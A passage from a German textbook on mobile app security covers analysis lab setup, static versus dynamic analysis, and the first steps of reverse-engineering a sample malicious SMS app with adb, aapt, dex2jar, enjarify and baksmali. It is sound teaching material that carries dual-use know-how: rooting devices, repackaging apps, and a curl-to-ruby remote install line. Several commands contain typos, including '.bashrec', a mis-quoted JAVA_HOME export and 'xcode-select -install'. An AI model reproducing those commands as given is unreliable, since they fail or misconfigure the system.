des Buches an einigen Stellen hilfreich ist.


32 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Abb. 1–9: Schematisches Netzwerklayout der Laborumgebung<br />

Einrichten der Bibliotheken und das OS<br />

Da viele der später verwendeten Tools für Linux oder UNIX-ähnliche Systeme<br />

entwickelt wurden, empfehle ich, auch ein solches OS für die Analyseumgebung<br />

zu wählen. Für Einsteiger in die Linux-Welt eignet sich eine aktuelle LTS-Version<br />

(Long Term Support) von Ubuntu. Zum aktuellen Zeitpunkt ist die neueste Version<br />

16.04, die voraussichtlich bis April 2021 mit Updates unterstützt wird. Der<br />

Download hierfür findet sich unter http://www.ubuntu.com/download/desktop.<br />

Alternativ kann aber auch hier ein Mac-OS-X-System zur Anwendung kommen.<br />

Um Android-Applikationen zu erstellen, einem Reversing zu unterziehen oder<br />

auch um einen Emulator zu konfigurieren, ist es essenziell, eine Entwicklungsumgebung<br />

auf dem frisch installierten Linux OS einzurichten. Die Basis hierbei bietet<br />

das Java Development Kit (JDK), das die passende Java Runtime Umgebung<br />

(JRE) beinhaltet. Hierzu befolgen Sie einfach die folgenden Schritte:<br />

1. Download der JDK-7-Umgebung unter http://www.oracle.com/technetwork/<br />

java/javase/downloads/index.html oder per Paketmanager<br />

2. Sollten Sie die Installation manuell durchgeführt haben und nicht per Paketmanager,<br />

so müssen die Pfade noch angepasst werden, damit die Tools später<br />

auch die nötigen Bibliotheken finden können. Dies geschieht mit folgenden<br />

Befehlen:


1.6 Eine Laborumgebung erstellen 33<br />

$: vi ~/.bashrec<br />

$: export Java_HOME='/usr/libexec/java_home -v 1.7'<br />

Codebeispiel 1–4: Anpassung des Java_HOME-Pfades<br />

3. Da wir nun alle wichtigen Bibliotheken und Laufzeitumgebungen installiert<br />

haben, kommen wir zum Herzen der Android-Umgebung, dem Android Development<br />

Tools (ADT). Dies kann unter http://developer.android.com/sdk/<br />

index.html heruntergeladen werden.<br />

4. Nach dem erfolgreichen Download muss das Paket entpackt werden und die<br />

Pfade zu den neu erstellten Verzeichnissen tools und platform-tools, wie bereits<br />

bei den Java-Umgebungen der Pfadvariablen, hinzugefügt werden.<br />

Abb. 1–10: Übersicht der Android-SDK-Komponenten und -Updates<br />

5. Im Anschluss daran sollten noch mithilfe des android-Befehls die neuesten<br />

Updates und fehlende Android-Bibliotheken nachgeladen werden (siehe dazu<br />

auch Abbildung 1–10).<br />

6. Nachdem wir nun alle wichtigen Komponenten installiert und eingerichtet<br />

haben, können wir das erste Testsystem starten. Mehr dazu im folgenden<br />

Abschnitt.<br />

Wer diese Schritte nicht alle selbst durchgehen möchte oder sich lieber auf eine<br />

für diesen Zweck spezialisierte Umgebung verlassen möchte, kann auch auf<br />

angepasste Betriebssysteme wie z. B. Santoku Linux4 zurückgreifen.<br />

4 Santoku Linux: https://santoku-linux.com/


34 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Erstellung eines Android-Emulators<br />

Für viele der Aufgaben, die im Laufe der Kapitel erläutert werden, aber auch für<br />

die tägliche Arbeit mit Android-Malware ist es wichtig, dass man verschiedene<br />

Testsysteme zur Hand hat. Das wird aber schnell teuer, wenn man jedes System<br />

und jede Android-Version in echter Hardware zur Verfügung haben möchte.<br />

Hier kann der Android-Emulator dazu beitragen, eine hohe Abdeckung an realitätsnahen<br />

Systemen zur Verfügung zu haben, ohne zu tief in die Tasche greifen<br />

zu müssen.<br />

Im Folgenden wird kurz gezeigt, wie man einen Android-Emulator einrichtet:<br />

1. Beginnen werden wir wieder mit dem Aufruf der Android-ADT-Umgebung<br />

mithilfe des Befehls android.<br />

2. Im darauffolgenden Fenster klicken wir auf Tools, dort auf Manage AVDs. . .<br />

und dann auf create.<br />

3. Das nun erscheinende Fenster füllen wir, wie in Abbildung 1–11 gezeigt, aus.<br />

Wichtig hierbei ist, dass der AVD Name keine Leerzeichen oder Sonderzeichen<br />

enthält, da dieser später per Kommandozeile aufgerufen werden muss.<br />

4. Nach einem Klick auf OK ist der Emulator fertig erstellt und es wird nochmals<br />

eine Zusammenfassung des erzeugten Emulators angezeigt.<br />

Abb. 1–11: Fenster zur Konfiguration eines Android-Emulators


1.6 Eine Laborumgebung erstellen 35<br />

5. Den so erstellten Emulator können wir nun mit folgendem Befehl starten<br />

(beim ersten Start des Emulators kann es mehrere Minuten – bis zu 10 –<br />

dauern, bis der Emulator einsatzbereit ist): emulator -avd TestAVD.<br />

1.6.2 Laborumgebung für iOS-Analysen<br />

In diesem Abschnitt wird kurz auf die wichtigsten Pakete und Einstellungen eingegangen,<br />

die auf einem klassischen Analyserechner vorhanden sein sollten, wenn<br />

es um die Analyse von iOS und dessen Applikationen geht.<br />

Für die Analyse von iOS-Applikationen eignet sich am besten ein Rechner mit<br />

Mac OS X. Auf diesem Rechner benötigen wir dann eigentlich nur noch Xcode –<br />

inklusive der zugehörigen Kommandozeilentools – und Brew.<br />

Sobald wir die aktuellste Version von Xcode aus dem Mac App Store installiert<br />

haben, müssen wir noch die Kommandozeilentools nachinstallieren. Dies<br />

können wir durch Eingabe des Befehls xcode-select -install starten. Es sollte<br />

nun ein neues Fenster erscheinen, das uns durch die Installation der Kommandozeilentools<br />

führt.<br />

Als zweites wichtiges Werkzeug benötigen wir noch Brew5 . Dies ist ein alternativer<br />

Paketmanager unter Mac OS X, der es uns erlaubt, Pakete für die Kommandozeile<br />

zu installieren. Die Installation von Brew führen wir wie folgt durch<br />

(siehe Codebeispiel 1–5):<br />

# Download und Installation von Brew:<br />

$: ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/<br />

master/install)"<br />

# Laden der aktuellsten Paketquellen und Versionshinweise:<br />

$: brew update<br />

# Updaten aller bereits installierten Pakete:<br />

$: brew upgrade<br />

Codebeispiel 1–5: Installation von Brew<br />

Die Installation und Konfiguration aller weiteren Pakete und Tools – die in den<br />

Kapiteln 5 und 6 verwendet werden – wird jeweils bei der ersten Verwendung<br />

beschrieben.<br />

5 Brew: http://brew.sh/


36 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Abb. 1–12: Windows Phone Internals 1.2<br />

1.6.3 Laborumgebung für Windows Phone-Analysen<br />

Zur Analyse von Windows-10-<strong>Mobile</strong>-Endgeräten und deren Applikationen benötigen<br />

wir einen Rechner mit Windows 10 (Windows 7 verursacht hin und wieder<br />

Probleme). Die meisten wichtigen Komponenten – wie z. B. Treiber – werden<br />

vom System automatisch installiert, sobald wir unser Analysetelefon anschließen,<br />

daher brauchen wir uns hierum nicht separat zu kümmern.<br />

Als weitere Werkzeuge benötigen wir noch die Windows Phone Internals6<br />

und das Windows 10 SDK7 . Diese Tools erlauben es uns, bestimmte Endgeräte<br />

zu rooten, um tieferen Zugriff auf das Gerät und die darauf installierten Applikationen<br />

zu bekommen (siehe Abbildung 1–12), und installieren alle nötigen<br />

Bibliotheken, die diese und andere später gezeigte Werkzeuge verwenden.<br />

Sollten die Windows Phone Internals nicht zum Erfolg führen, gibt es eine<br />

sehr gute und ständig aktualisierte Anleitung zum Rooten der Windows-10-<br />

<strong>Mobile</strong>-Endgeräte im xda-developers-Forum8 .<br />

6 Windows Phone Internals: http://www.wpinternals.net/index.php/downloads<br />

7 Windows 10 SDK: https://developer.microsoft.com/de-de/windows/downloads/<br />

windows-10-sdk<br />

8 xda-developers: http://forum.xda-developers.com/windows-10/windows-10-mobile/<br />

guide-filesystem-access-sftp-windows-10-t3185766


1.7 Zusammenfassung und Ausblick 37<br />

1.7 Zusammenfassung und Ausblick<br />

In diesem Kapitel ging es im Wesentlichen um zwei Themen: die Einführung in<br />

die verschiedenen Systeme und den Aufbau ihrer Applikationen sowie der nötigen<br />

Laborumgebungen, um sie zu analysieren (Abschnitte 1.1 bis 1.3 sowie<br />

Abschnitt 1.6), aber auch um das Aufzeigen der generellen Probleme, die in einer<br />

solchen Applikation verborgen sein können (siehe dazu die Abschnitte 1.4<br />

und 1.5).<br />

Im folgenden Kapitel 2 möchte ich noch kurz allgemein auf die Chancen und<br />

Risiken des Reversings eingehen, bevor wir dann gemeinsam an das eigentliche<br />

Analysieren der einzelnen Systeme in den Kapiteln 3 bis 8 gehen. Zum Abschluss<br />

greifen wir in Kapitel 9 noch die verschlüsselte Verbindung zwischen Applikation<br />

und deren Backend an und versuchen, an den Klartextinhalt zu gelangen.<br />

Auf die in diesem Buch gezeigte Weise können wir sehr gut ermitteln, wie<br />

sicher eine Applikation ist und wie sorgsam sie mit unseren kritischen Daten<br />

wirklich umgeht.


39<br />

2 Chancen und Risiken des Reversings<br />

In diesem kurzen Kapitel möchte ich einen Überblick über Analysemethoden<br />

geben und aufzeigen, wo ihre Stärken und Schwächen liegen. Dies ist für das<br />

allgemeine Verständnis der Thematik wichtig und hilft auch einzuschätzen, wie<br />

aufwendig gewisse Analysemethoden oder Angriffe sind. Dazu greife ich auf die<br />

Klassifizierung nach Bergeron et al. [2] zurück, nach der sich diese Analysemethoden<br />

im Wesentlichen in zwei Arten unterteilen lassen: statische und dynamische<br />

Analyse.<br />

2.1 Statische Analyse (Reversing)<br />

Der klassische Ansatz sowohl zur automatisierten wie auch zur manuellen Analyse<br />

ist die statische Analyse, auch Reversing genannt. Die statische Analyse betrachtet<br />

Softwareeigenschaften, die durch Überprüfen der heruntergeladenen Anwendung<br />

und ihres Quellcodes herausgefunden werden können. Bei diesem Vorgehen<br />

dekompilieren und zerlegen Analysetools oft Anwendungspakete und suchen<br />

im gesamten Quellcode nach bestimmten Mustern wie z. B. Berechtigungen,<br />

Funktionsaufrufe und hart codierte Variablen. All diese Verfahren haben gemeinsam,<br />

dass die verdächtige Anwendung nicht ausgeführt wird.<br />

Nach Moser et al. [11] liegt der große Vorteil der statischen Analyse darin,<br />

dass sie relativ einfach und schnell durchzuführen ist, wenn sie automatisiert<br />

erfolgt, z. B. im Rahmen von Muster- oder Signaturerkennung. Sie wird jedoch<br />

schnell aufwendig, wenn man diese Techniken manuell anwendet. Einer der<br />

Nachteile bei der automatisierten Anwendung ist, dass alle Muster im Voraus<br />

bekannt sein müssen. Dies macht es schwer, neue Malware oder polymorphen<br />

Code zu erkennen, ohne dass man einen menschlichen Experten oder Methoden<br />

maschinellen Lernens hinzuzieht. In der Praxis verwendet Malware Verschleierungstechniken<br />

(auch Obfuscation genannt), die die statische Analyse zusätzlich<br />

erschweren. Zudem werden oft Bestandteile des Quellcodes verschlüsselt, sodass<br />

es einem Analysten ohne Kenntnis des Schlüssels und des verwendeten Algorithmus<br />

unmöglich ist, den Quellcode zu entschlüsseln.<br />

Auf die manuelle statische Analyse – also das klassische Reverse Engineering<br />

– werden wir uns in den Kapiteln 3, 5 und 7 konzentrieren.


40 2 Chancen und Risiken des Reversings<br />

2.2 Dynamische Analyse<br />

Im Gegensatz zur statischen Analyse setzt die dynamische Analyse nicht auf das<br />

Inspizieren von Quellcode und die Mustersuche, sondern führt die Applikation<br />

in einer kontrollierten und vollständig überwachten Umgebung – auch Sandbox1<br />

genannt – aus.<br />

Auf die Android-Welt übertragen bedeutet dies, dass eine Sandbox eine Instanz<br />

des Android-OS ist, die das System so isoliert, dass die Malware an der<br />

Ausführung von schädlichen Aktionen für den Benutzer oder den Analyserechner<br />

gehindert wird. Durch die Überwachung und Protokollierung aller relevanten<br />

Ausführungen wird im Anschluss an die Ausführung vollautomatisiert ein<br />

Bericht mit allen interessanten Aktionen erstellt. In einem solchen Bericht kann<br />

ein Analyst beispielsweise ausgehende Datenverbindungen und Änderungen auf<br />

der Festplatte identifizieren, die durch die analysierte Applikation vorgenommen<br />

wurden.<br />

Der Vorteil der dynamischen Analyse ist hierbei, dass zur Laufzeit jeglicher<br />

Quellcode entschlüsselt und im Klartext vorliegt. Hierdurch sind die Probleme<br />

der statischen Analyse (Obfuscation und Codeverschlüsselung) umgangen und<br />

ein Analyst sieht mit wenig Aufwand, welche Aktionen die Applikation ausführt.<br />

Der Nachteil ist jedoch, dass diese Techniken auch für Autoren von Schadcode<br />

und Entwickler keine Neuheiten mehr sind. Gängige Sandboxen lassen sich zur<br />

Laufzeit erkennen und so kann ein Entwickler dafür sorgen, dass ein gewisses<br />

Verhalten nur auf einem echten und nicht überwachten Gerät ausgeführt wird.<br />

Ebenso ist die Ereignis-Abdeckung ein gravierender Punkt bei der dynamischen<br />

Analyse. Gibt es beispielsweise eine Methode innerhalb der Android-Applikation,<br />

die nur aufgerufen wird, wenn eine SMS-Nachricht mit einem gewissen Inhalt<br />

auf dem Gerät eingeht, so wird diese Aktion bei der Ausführung innerhalb einer<br />

Sandbox auch nur protokolliert, wenn eine solche Nachricht auch wirklich<br />

eingeht.<br />

Auf diese Art der Analyse werden wir in Abschnitt 4.2.1 und auch in Abschnitt<br />

6.3 tiefer eingehen.<br />

2.3 Vergleich der beiden Techniken<br />

Schon Moser et al. [11] haben im Jahre 2007 aufgezeigt, dass diese beiden Techniken<br />

massive Vor- und Nachteile haben. Dies hat sich bis heute, trotz jahrelanger<br />

Weiterentwicklung, nicht geändert.<br />

Hat sich ein Entwickler die Mühe gemacht und wichtige Codefragmente<br />

durch Obfuscation oder Verschlüsselung geschützt, so wird es bei einer manuellen<br />

Analyse sehr aufwendig, diesen Code wieder in einer lesbaren und analysierbaren<br />

1 Bishop [3] definiert eine solche Sandbox als »an environment in which the actions of<br />

a process are restricted according to a security policy«.


2.4 Schlussfolgerung 41<br />

Version zu erhalten. Zudem sorgt Obfuscation auch dafür, dass Techniken, die<br />

auf die Erkennung von Mustern oder Signaturen beruhen, sehr schnell falsche<br />

Ergebnisse liefern.<br />

Hier liegen die Vorteile der dynamischen Analyse, da sie Systemaufrufe mitschneidet,<br />

während sie durch die Applikation erzeugt werden, und zu diesem<br />

Zeitpunkt müssen die Aufrufe sowie die Werte der verwendeten Variablen unverschlüsselt<br />

und deobfuskiert sein. Ebenso ist es möglich, während einer solchen<br />

Analyse den Inhalt von Variablen zu verfolgen, um so festzustellen, was mit gewissen<br />

Werten über die Ausführungszeit der Applikation geschieht (wenn z. B.<br />

eine Applikation das Adressbuch des Telefons in eine Variable speichert, kann<br />

so festgestellt werden, ob die Inhalte dieser Variablen nachher das Telefon verschlüsselt<br />

verlassen oder nur intern verwendet werden).<br />

Leider hat aber auch diese Technik, wie bereits zuvor erwähnt, ihre Schwächen.<br />

Bekannte Analyseumgebungen ([9], [14], [17], [18] und [8]) können durch<br />

eine Applikation erkannt werden, sodass sie sich in diesem Fall harmlos verhalten<br />

kann und ein Analyst keine Erkenntnis über ihren wahren Funktionsumfang<br />

erhält. Oft wird es in der Realität jedoch gar nicht so kompliziert. Viele, vor allem<br />

schadhafte Applikationen führen ihr verdächtiges Verhalten erst aus, wenn<br />

gewisse äußere Umstände eintreten, die man bei der dynamischen Analyse nur<br />

selten erreicht. Hierzu zählen z. B. eine gewisse Dauer, die die Applikation läuft,<br />

oder nutzerbasierte Aktionen, wie das Eingehen eines Anrufes oder das Laden des<br />

Telefons.<br />

2.4 Schlussfolgerung<br />

Als Ergebnis aus den zuvor beschriebenen Analysemethoden und deren Vergleich<br />

bleibt einem Sicherheitsanalysten nur übrig, sich in beiden Analysemethoden auszukennen<br />

und diese clever zu kombinieren. Hierdurch kann er die Stärken von<br />

beiden Techniken verbinden und die Schwächen nahezu ausmerzen.


43<br />

3 Reversing von Android-Applikationen<br />

Nachdem in Kapitel 1 bereits die Grundstruktur einer Android-Applikation beschrieben<br />

wurde, wollen wir nun darauf eingehen, wie man verdächtige Applikationen<br />

untersuchen kann. Dabei werden wir in diesem Kapitel mit der manuelle<br />

Analyse mithilfe bekannter Tools wie beispielsweise dex2jar und JD-GUI beginnen<br />

und so demonstrieren, wie der Sicherheitsanalyst möglichst nahe an den<br />

eigentlichen Quellcode der Applikation kommt. Dies ist nötig, um genau nachvollziehen<br />

zu können, wie eine Applikation funktioniert und auf welche Ressourcen<br />

sie zugreift. Somit bildet dieses Kapitel die Basis für die in Kapitel 4 gezeigte<br />

Schwachstellensuche.<br />

3.1 Vorgehensweisen beim Reversing von<br />

Android-Applikationen<br />

Bei der statischen Analyse einer Android-Applikation gibt es ein gutes Muster,<br />

nach dem man vorgehen kann, um erste Anhaltspunkte über die Funktionen einer<br />

Applikation herauszufinden:<br />

1. Beschaffen der zu untersuchenden Applikation<br />

2. Entpacken der apk-Datei (gepackte Android-Applikation)<br />

3. Auslesen des Android-Manifests<br />

4. Übersetzen des Dalvik-Bytecodes in Java-Bytecode<br />

5. Umwandeln des Java-Bytecodes in herkömmlichen Java-Code oder sogenannte<br />

Zwischendarstellungssprachen wie Jimple oder smali<br />

6. Analysieren des so generierten Codes<br />

Diesem Muster wollen wir nun auch folgen und anhand unserer malware.apk –<br />

eine bösartige Android-Applikation – eine statische Analyse durchführen. Dies<br />

ist eine eher einfache Android-Applikation, die sich jedoch sehr schön zur Veranschaulichung<br />

der Werkzeuge und Arbeitsabläufe eignet. Abbildung 3–1 zeigt<br />

hierbei den zuvor beschriebenen Weg und wo man als Analyst durch den Einsatz<br />

von in Abschnitt 3.4 gezeigten Tools eine Abkürzung gehen kann.


44 3 Reversing von Android-Applikationen<br />

JADx-GUI / Androguard / Codeinspect<br />

adb pull<br />

Smartphone<br />

apk-Datei<br />

unzip<br />

aapt<br />

extrahierte<br />

apk-Datei<br />

AndroidManifest<br />

(original)<br />

dex2jar / enjarify<br />

baksmali<br />

JD-GUI<br />

AndroidManifest<br />

(lesbar)<br />

Dalvik-Bytecode<br />

(dex-Datei)<br />

Java-Bytecode<br />

(jar-Datei)<br />

(Java, Jimple, smali)<br />

Abb. 3–1: Darstellung der Vorgehensweisen beim Reversing von Android-Applikationen<br />

3.2 Beschaffen der zu untersuchenden Applikation<br />

Der wichtigste Punkt des Reversings liegt noch vor dem eigentlichen Ablauf: Der<br />

Analyst muss in Besitz der Applikation gelangen, die er analysieren möchte. Dies<br />

kann über den Google Play Store und eine manipulierte API1 geschehen, oder<br />

durch Extraktion vom Mobiltelefon selbst. Im Folgenden wird der zweite Weg<br />

gezeigt.<br />

Möchten wir also die Malware-Applikation extrahieren, so rufen wir den<br />

PackageManager von Android auf und suchen darüber nach unserer Applikation:<br />

$: adb shell pm list packages | grep magicsms<br />

package: com.magicsms.own<br />

Codebeispiel 3–1: Auflistung der installierten Applikationen und Suche nach MagicSMS<br />

Nachdem wir nun den genauen Namen des Android-Paketes wissen, das zu dieser<br />

Applikation gehört, können wir auf die Suche nach der Applikation gehen. Hierzu<br />

können wir wieder den PackageManager von Android wie folgt verwenden:<br />

$: adb shell pm path com.magicsms.own<br />

package: /data/app/com.magicsms.own-1.apk<br />

Codebeispiel 3–2: Suche nach der MagicSMS-Applikation auf dem Android-Smartphone<br />

1 Google Play Store API: https://github.com/egirault/googleplay-api


3.3 Analysieren des Android-Manifests und Entpacken der Applikation 45<br />

Mit diesen Daten können wir uns nun die apk-Datei auf den Analyserechner<br />

kopieren:<br />

$: adb pull /data/app/com.magicsms.own-1.apk malware.apk<br />

Codebeispiel 3–3: Extraktion der MagicSMS-Applikation und Sicherung unter dem neuen Namen<br />

malware.apk<br />

Möchte man eine Applikation aus einem Google Store, der außerhalb der eigenen<br />

Region liegt, analysieren und hat man diese Applikation auf keinem der Testgeräte<br />

installiert, so gibt es Webseiten, die in der Lage sind, auch Applikationen aus<br />

anderen Ländern oder Bereichen zu beschaffen. Dazu gehören u. a.:<br />

■<br />

■<br />

http://apkleecher.com/<br />

https://apps.evozi.com/apk-downloader/<br />

3.3 Analysieren des Android-Manifests und<br />

Entpacken der Applikation<br />

Um mit der Analyse einer Android-Applikation nach dem zuvor beschriebenen<br />

Muster zu starten, sind Werkzeuge nötig, die aus dem Android-SDK und dem<br />

Betriebssystem stammen. Im Wesentlichen sind dies aapt und unzip.<br />

Zuerst betrachten wir das Android-Manifest unserer Applikation, um zu sehen,<br />

welche Berechtigungen die Applikation bei der Installation vom Nutzer anfragt<br />

und wo der richtige Einsprungpunkt für die weitere Analyse ist. Die angeforderten<br />

Berechtigungen erhalten wir mit folgendem Aufruf von aapt:<br />

$: aapt d permissions malware.apk<br />

package: com.magicsms.own<br />

uses-permission: name='android.permission.SEND_SMS'<br />

uses-permission: name='android.permission.RECEIVE_SMS'<br />

uses-permission: name='android.permission.ACCESS_GPS'<br />

uses-permission: name='android.permission.ACCESS_LOCATION'<br />

Codebeispiel 3–4: Auflistung der angeforderten Berechtigungen mithilfe von aapt<br />

Anhand dieser Ausgabe sehen wir, dass die Applikation an den Lokalisierungsdaten<br />

des Mobiltelefons interessiert ist (ACCESS_GPS sowie ACCESS_LOCATION)<br />

und zusätzlich die Rechte hat, um SMS zu lesen (RECEIVE_SMS) und zu versenden<br />

(SEND_SMS). Da die Applikation keine weiteren Berechtigungen besitzt, ist<br />

das schon sehr verdächtig. Denn selbst eine Applikation, die als Ersatz für die


46 3 Reversing von Android-Applikationen<br />

eingebaute SMS-Applikation gilt und daher die Berechtigungen zum Lesen und<br />

Senden von SMS-Nachrichten besitzen muss, benötigt zusätzlich noch die Berechtigung<br />

zum Lesen der Kontakte (READ_CONTACTS), da sie sonst keinen<br />

Zugriff auf Telefonnummern des Nutzers hat. Um nun etwas mehr über die Applikation<br />

zu erfahren, suchen wir nach den Einsprungpunkten und lassen uns<br />

hierfür das gesamte Manifest anzeigen:<br />

$: aapt d xmltree malware.apk AndroidManifest.xml<br />

E: activity (line=16)<br />

A: android:label(0x01010001)=@0x7f040001<br />

A: android:name(0x01010003)=".MagicSMSActivity" (Raw:<br />

".MagicSMSActivity")<br />

E: intent-filter (line=17)<br />

A: android:priority(0x0101001c)=(type 0x10)0x64<br />

E: action (line=18)<br />

A: android:name(0x01010003)="android.intent.action.MAIN" (Raw:<br />

"android.intent.action.MAIN")<br />

E: category (line=19)<br />

A: android:name(0x01010003)="android.intent.category.LAUNCHER"<br />

(Raw: "android.intent.category.LAUNCHER")<br />

E: receiver (line=21)<br />

A: android:name(0x01010003)=".receiver.SMSReceiver" (Raw:<br />

".receiver.SMSReceiver")<br />

A: android:enabled(0x0101000e)=(type 0x12)0xffffffff<br />

C: "\n- "<br />

E: intent-filter (line=22)<br />

A: android:priority(0x0101001c)=(type 0x10)0x64<br />

E: action (line=23)<br />

A: android:name(0x01010003)="android.provider.Telephony.<br />

SMS_RECEIVED" (Raw: "android.provider.Telephony.SMS_RECEIVED")<br />

Codebeispiel 3–5: Ausgabe des gesamten Manifests einer Android-Applikation mittels aapt<br />

In diesem Auszug sehen wir, dass die Main-Activity – darunter versteht man die<br />

Benutzeroberfläche der Applikation, die gestartet wird, wenn der Nutzer die Applikation<br />

über einen Klick auf das Icon öffnet – MagicSMSActivity heißt. Dies ist<br />

daran zu erkennen, dass sie die action MAIN zugewiesen hat. Zudem sehen wir,<br />

dass bei jeder eingehenden SMS-Nachricht auf dem Telefon der folgende Receiver<br />

innerhalb der Applikation angesteuert wird: receiver.SMSReceiver.<br />

Diese beiden Punkte sind ideal, um die Analyse des Quellcodes zu beginnen.<br />

Zur weiteren Analyse müssen wir die apk-Datei entpacken, um so an den Dalvik-


3.4 Werkzeuge zum Analysieren der Applikationen 47<br />

Bytecode zu gelangen. Hierfür verwenden wir ganz herkömmlich Werkzeuge des<br />

Betriebssystems, auf dem wir arbeiten. In diesem Fall unzip:<br />

$: unzip malware.apk<br />

Archive: malware.apk<br />

signed by SignApk<br />

inflating: META-INF/MANIFEST.MF<br />

inflating: META-INF/CERT.SF<br />

inflating: META-INF/CERT.RSA<br />

inflating: AndroidManifest.xml<br />

inflating: classes.dex<br />

extracting: res/drawable-hdpi-v4/icon.png<br />

extracting: res/drawable-ldpi-v4/icon.png<br />

extracting: res/drawable-mdpi-v4/icon.png<br />

inflating: res/layout/main.xml<br />

inflating: resources.arsc<br />

Codebeispiel 3–6: Entpacken der Android-Applikation<br />

Um aus dem Dalvik-Bytecode, der in der Datei classes.dex gespeichert ist, den<br />

Java-Bytecode zu erhalten, müssen wir weitere Tools verwenden, auf die wir im<br />

Folgenden eingehen.<br />

3.4 Werkzeuge zum Analysieren der Applikationen<br />

Die im Folgenden gezeigten Werkzeuge folgen im Hintergrund immer der zu Beginn<br />

des Kapitels vorgestellten Reihenfolge, jedoch können einige von ihnen mehrere<br />

dieser Schritte automatisch im Hintergrund ausführen. Je nach zu analysierender<br />

Applikation kann es sinnvoll sein, mehrere dieser Tools zu verwenden, da<br />

sie alle ihre Vor- und Nachteile haben, die man meist erst während der Analyse<br />

feststellt.<br />

3.4.1 dex2jar<br />

Wie wir bereits aus den vorangegangenen Abschnitten wissen, ist der eigentliche<br />

Code einer Applikation nicht im Klartext vorhanden, wenn man die apk-Datei<br />

entpackt. Da es für eine aussagekräftige Analyse einer verdächtigen Applikation<br />

sehr wichtig ist, möglichst nahe an den ursprünglichen Code einer Applikation<br />

zu gelangen (oder an eine andere interpretierbare Form des Quellcodes), werden<br />

häufig kostenlose und gut gepflegte Tools wie dex2jar2 eingesetzt.<br />

2 dex2jar: https://github.com/pxb1988/dex2jar


48 3 Reversing von Android-Applikationen<br />

Das Tool dex2jar versucht, den Dalvik-Bytecode zurück in Java-Bytecode zu<br />

übersetzen, um so die weitere Analyse mit Werkzeugen zu ermöglichen, die schon<br />

seit Jahrzehnten für diesen Zweck verwendet werden. Hierzu zählt unter anderem<br />

das Programm JD-GUI – ein grafischer Decompiler für Java-Bytecode –, das in<br />

einem der folgenden Abschnitte ebenfalls demonstriert wird.<br />

Zum Anstoßen dieser Bytecode-Übersetzung benötigen wir die Datei<br />

classes.dex aus der entpackten Android-Applikation sowie den folgenden Befehl:<br />

$: dex2jar.sh classes.dex<br />

dex2jar version: translator-0.0.9.15<br />

dex2jar classes.dex -> classes_dex2jar.jar<br />

Done.<br />

Codebeispiel 3–7: Übersetzen des Dalvik-Bytecodes in Java-Bytecode mittels dex2jar<br />

Als Ergebnis der Übersetzung erhalten wir im Idealfall eine Datei namens<br />

classes_dex2jar.jar. Diese Datei enthält nun den Java-Bytecode der zu analysierenden<br />

Applikation.<br />

Leider gibt es immer wieder Methoden oder ganze Klassen, die dex2jar nicht<br />

in Java-Bytecode übersetzen kann. An diesem Punkt kann der Analyst auf Tools<br />

wie enjarify oder smali ausweichen. Der Grund für diese Probleme ist recht einfach:<br />

Da sehr viel Wissen und geistiges Eigentum (engl. Intellectual Property) in<br />

diesen mobilen Applikationen enthalten ist, versuchen die Hersteller, ein Analysieren<br />

möglichst komplex zu gestalten, um den Nachbau einer Konkurrenzapplikation<br />

zu verhindern oder zumindest zu erschweren. Dies gelingt ihnen u. a. durch<br />

den Einsatz sogenannter Obfuscation-Techniken, die von einfachem Verschleiern<br />

von Quellcode-Bestandteilen bis hin zum Auslösen von Fehlern in Werkzeugen<br />

wie dex2jar eine Vielzahl an Funktionen besitzen.<br />

3.4.2 enjarify<br />

Wie auch schon bei dex2jar handelt es sich bei enjarify3 um ein Werkzeug zur<br />

Übersetzung von Dalvik-Bytecode in Java-Bytecode. Der Vorteil von enjarify<br />

gegenüber dex2jar liegt im Wesentlichen darin, dass es gepflegt und weiterentwickelt<br />

wird und somit konstant auf dem neuesten Stand ist. Hinzu kommen<br />

noch die Unterstützung für Klassennamen mit Unicode-Zeichen und die korrekte<br />

Handhabung von sehr langen Methoden, die bei dex2jar zu Fehlern oder im<br />

schlimmsten Fall zu Abstürzen geführt haben. Doch auch enjarify ist nicht frei<br />

von Fehlern oder Problemen, daher ist es beim Reversing immer wichtig, dass<br />

man mehrere Werkzeuge in seiner Toolchain hat, die man für einen gewissen<br />

Zweck verwenden kann.<br />

3 enjarify: https://github.com/google/enjarify


3.4 Werkzeuge zum Analysieren der Applikationen 49<br />

Zum Anstoßen dieser Bytecode-Übersetzung benötigen wir entweder wieder<br />

die Datei classes.dex aus der entpackten Android-Applikation oder einfach nur<br />

die apk-Datei sowie den folgenden Befehl:<br />

$: enjarify.sh [classes.dex|malware.apk]<br />

Using python3 as Python interpreter<br />

8 classes processed<br />

Output written to classes-enjarify.jar<br />

8 classes translated successfully, 0 classes had errors<br />

Codebeispiel 3–8: Übersetzen des Dalvik-Bytecodes in Java-Bytecode mittels enjarify<br />

Als Ergebnis der Übersetzung erhalten wir im Idealfall eine Datei namens classesenjarify.jar.<br />

Diese Datei enthält den Java-Bytecode unserer zu analysierenden<br />

Applikation und wir können wieder, wie schon zuvor bei dex2jar, mit unserem<br />

Java-Bytecode-Decompiler die Analyse fortführen.<br />

3.4.3 baksmali<br />

baksmali4 übersetzt den Dalvik-Bytecode in eine neue Sprache, die sehr der Syntax<br />

von Jasmin oder dedexer ähnelt und den Namen smali trägt. Diese Sprache<br />

ist sehr einfach zu lesen, da sie stark vereinfacht ausgedrückt eine Mischung aus<br />

Java und Pseudocode ist. Ein weiterer Vorteil hiervon ist, dass es mittels smali<br />

sogar möglich ist, den Code nach dem Dekompilieren zu verändern und wieder<br />

zu einer lauffähigen Applikation zusammenzubauen. So lassen sich Applikationen<br />

manipulieren und auch auf Geräten ausführen, auf denen sie eigentlich nicht<br />

lauffähig sind (z. B. aufgrund von Sicherheitsrestriktionen oder fehlenden Hardwarekomponenten).<br />

Die Übersetzung von Dalvik-Bytecode in smali erfolgt durch Eingabe des in<br />

Codebeispiel 3–9 gezeigten Aufrufs.<br />

$: java -jar baksmali.jar malware.apk -o decompiled_output<br />

Codebeispiel 3–9: Übersetzen des Dalvik-Bytecodes in smali<br />

Das Ergebnis der Übersetzung ist eine Ordnerstruktur (siehe Abbildung 3–2), die<br />

auch der Struktur des Java-Paketes entspricht mit den übersetzten Java-Klassen<br />

als einzelne smali-Dateien.<br />

Smali ist deutlich näher am ursprünglichen Bytecode, als es beispielsweise<br />

Java oder die später noch gezeigte Jimple-Sprache ist. Dennoch ist sie mit etwas<br />

